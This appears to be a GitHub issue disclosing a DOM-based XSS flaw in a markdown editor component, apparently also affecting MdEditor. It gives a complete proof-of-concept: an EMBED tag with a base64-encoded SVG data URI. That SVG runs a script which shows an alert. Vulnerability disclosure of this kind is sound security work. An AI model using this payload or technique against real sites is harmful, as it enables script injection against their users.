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XSS vulnerability in <EMBED> label,SVG include attack vector. #662

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@YYHYlh

Description

@YYHYlh

This label and attack vector will cause dom-based XSS.
if you type
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlhhYVMiKTs8L3NjcmlwdD48L3N2Zz4=" type="image/svg+xml" AllowScriptAccess="always"></EMBED>,the xss vulnerability will be triggered.And other markdown online editors that use this component are also affected by this vulnerability,like MdEditor.
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